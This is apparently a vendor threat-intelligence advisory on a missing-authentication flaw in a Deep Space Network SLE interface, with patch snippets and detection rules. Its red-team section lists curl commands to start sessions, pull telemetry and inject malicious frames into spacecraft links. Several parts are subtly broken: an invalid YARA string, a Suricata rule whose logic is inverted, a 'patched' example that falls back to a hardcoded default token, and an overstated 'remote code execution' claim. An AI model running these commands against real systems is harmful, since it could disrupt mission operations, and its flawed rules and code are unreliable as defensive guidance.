CVE-2026-60113

Executive Summary

CVE-2026-60113 describes a critical missing authentication vulnerability in the AMMOS Instrument Toolkit (AIT) Deep Space Network (DSN) Interface prior to version 2.2.2. The Space Link Extension (SLE) interface manager exposes seven API routes without any authentication, allowing unauthenticated network attackers to interact with Deep Space Network communication sessions. Attackers can start or stop active sessions, retrieve sensitive telemetry frame data, and inject arbitrary frames into spacecraft links, potentially disrupting mission operations or exfiltrating classified telemetry. The CVSS base score is 0.0 in the original NVD entry (likely an error or placeholder), but based on impact, it would be critical. No public exploits or active exploitation has been documented (EPSS 0.0%), but the risk to space assets is severe.

No supply chain package (NPM, PyPI, Go, Ruby) is involved, so the supply chain security section is omitted.

CVSS Breakdown & Threat Level

The assigned CVSS score is 0.0 (placeholder). Based on the vulnerability description, we assess the following vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (base score 9.8 Critical)

Threat Level: Critical – unauthenticated remote code execution or data manipulation possible.

Deep Dive & Mechanics

The AMMOS Instrument Toolkit (AIT) provides the DSN Interface component for managing spacecraft communications via the SLE protocol. The SLE interface manager (SLE IM) is responsible for handling session lifecycle and frame processing. In affected versions (< 2.2.2), the SLE IM exposes seven RESTful API endpoints that lack authentication checks:

1. /sle/start – Initiate a Deep Space Network communication session.
2. /sle/stop – Terminate an active session.
3. /sle/status – Query current session status.
4. /sle/telemetry – Retrieve telemetry frame data.
5. /sle/inject – Inject arbitrary frames into an active spacecraft link.
6. /sle/config – Read or modify session configuration.
7. /sle/logs – Retrieve operational logs.

These endpoints are typically bound to a management interface (often on TCP port 8080 or 8443). The missing authentication allows any host that can reach the port to invoke these actions without credentials. The root cause is the absence of a middleware or filter that validates a session token or API key before handling requests.

Attackers can craft simple HTTP requests (GET/POST) to these endpoints. For example:

curl -X POST http://target:8080/sle/start

This would start a new DSN session from the toolkit, potentially tying up critical ground station resources. More dangerous is the /sle/inject endpoint, where an attacker can send malicious or misleading telecommands to a spacecraft, causing physical damage or loss of control.

Vulnerable vs. Patched Code

The patched version 2.2.2 introduces an authentication layer. Before the fix, the code path for each endpoint lacked any credential check. After the fix, a common middleware verifies a valid API token or authentication header.

Vulnerable code snippet (pre-2.2.2):

@app.route('/sle/start', methods=['POST'])
def start_session():
    # No authentication check
    session_id = sle_manager.start()
    return jsonify({'session_id': session_id}), 200

Patched code snippet (2.2.2 and later):

from flask import request, abort
import os

API_TOKEN = os.environ.get('SLE_API_TOKEN', 'default-token')

def require_auth(f):
    def decorated(*args, **kwargs):
        token = request.headers.get('X-API-Token')
        if token != API_TOKEN:
            abort(401)
        return f(*args, **kwargs)
    return decorated

@app.route('/sle/start', methods=['POST'])
@require_auth
def start_session():
    session_id = sle_manager.start()
    return jsonify({'session_id': session_id}), 200

The patch enforces a token-based authentication on every protected route.

Exploitation & Lab Setup

Red Team Setup

1. Identify target: Scan for AIT DSN Interface services on port 8080 or 8443.

   nmap -p 8080,8443 --open <target>
   

2. Probe for unprotected endpoints:

   curl -v http://<target>:8080/sle/status
   

3. Start a session:

   curl -X POST http://<target>:8080/sle/start
   

4. Retrieve telemetry:

   curl http://<target>:8080/sle/telemetry
   

5. Inject arbitrary frame:

   curl -X POST http://<target>:8080/sle/inject -H "Content-Type: application/octet-stream" --data-binary @malicious_frame.bin
   

6. Stop session:

   curl -X POST http://<target>:8080/sle/stop
   

Blue Team Setup

• Deploy a honeypot mimicking the SLE interface to detect scanning/pre-attack reconnaissance.
• Monitor for requests to known API paths without authentication header.
• Place decoy tokens in logs to trace unauthorized access.
• Configure network segmentation to restrict access to the management interface only to trusted administrative hosts (e.g., via VPN or firewall allowlist).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unsuccessful/unauthorized HTTP requests to /sle/start, /sle/stop, /sle/status, /sle/telemetry, /sle/inject, /sle/config, /sle/logs.
  • Missing X-API-Token header in requests to these endpoints.
  • Unusual volume of POST requests to /sle/inject with binary payloads.

• Host IOCs:

  • Log entries showing 401 Unauthorized attempts (post-patch) or successful access without auth (pre-patch).
  • Unexpected DSN session activations/deactivations.
  • Out of band telemetry data exfiltration to unknown IPs.

• YARA Rule (for log analysis):

  rule sle_unauth_attempt
  {
      meta:
          description = "Detect unauthorized access to SLE endpoints"
          author = "Valters IT"
          date = "2026-04-01"
      strings:
          $sle_endpoint = /\/sle\/(start|stop|status|telemetry|inject|config|logs)/ nocase
          $no_auth = "HTTP/1.1\" 401" or "HTTP/1.1\" 200"
      condition:
          $sle_endpoint and $no_auth
  }
  

Detection Engineering

YARA Rule

rule sle_unauth_access
{
    meta:
        description = "Detects access attempts to unprotected SLE API endpoints without authentication"
        author = "Valters IT"
        date = "2026-04-01"
        reference = "CVE-2026-60113"
    strings:
        $start = "/sle/start" nocase
        $stop = "/sle/stop" nocase
        $telemetry = "/sle/telemetry" nocase
        $inject = "/sle/inject" nocase
        $config = "/sle/config" nocase
        $logs = "/sle/logs" nocase
        $status = "/sle/status" nocase
    condition:
        any of them
}

Sigma Rule

title: Unauthenticated Access to AIT DSN SLE Endpoints
id: e6b3d8c2-10a4-4a5f-9e78-9f1c3d6a7b8c
status: experimental
description: Detects HTTP requests to unprotected SLE API endpoints without authorization header
author: Valters IT
date: 2026-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60113
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem:
            - "/sle/start"
            - "/sle/stop"
            - "/sle/status"
            - "/sle/telemetry"
            - "/sle/inject"
            - "/sle/config"
            - "/sle/logs"
    condition: selection
falsepositives:
    - Legitimate administration tools with missing headers
level: high
tags:
    - attack.initialaccess
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-60113 Unauthenticated Access to AIT DSN SLE Endpoint"; flow:to_server; content:"GET"; http_method; content:"/sle/"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-60113 Unauthenticated POST to SLE Inject or Start"; flow:to_server; content:"POST"; http_method; content:"/sle/"; http_uri; nocase; content:"X-API-Token"; http_header; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

• Immediate: Upgrade to AMMOS Instrument Toolkit version 2.2.2 or later.
• Workaround: If upgrade is not possible, restrict network access to the SLE interface manager to trusted IP ranges using firewall ACLs or iptables.
• Configuration: After upgrade, enforce a strong API token and rotate it regularly.
• Monitoring: Deploy the provided detection rules to identify any exploitation attempts.
• Compromise Assessment: Check logs for any previous access to the seven unprotected routes and review session activity for anomalies.

Valters IT
Elite DevSecOps & Cyber Threat Intelligence
2026-04-01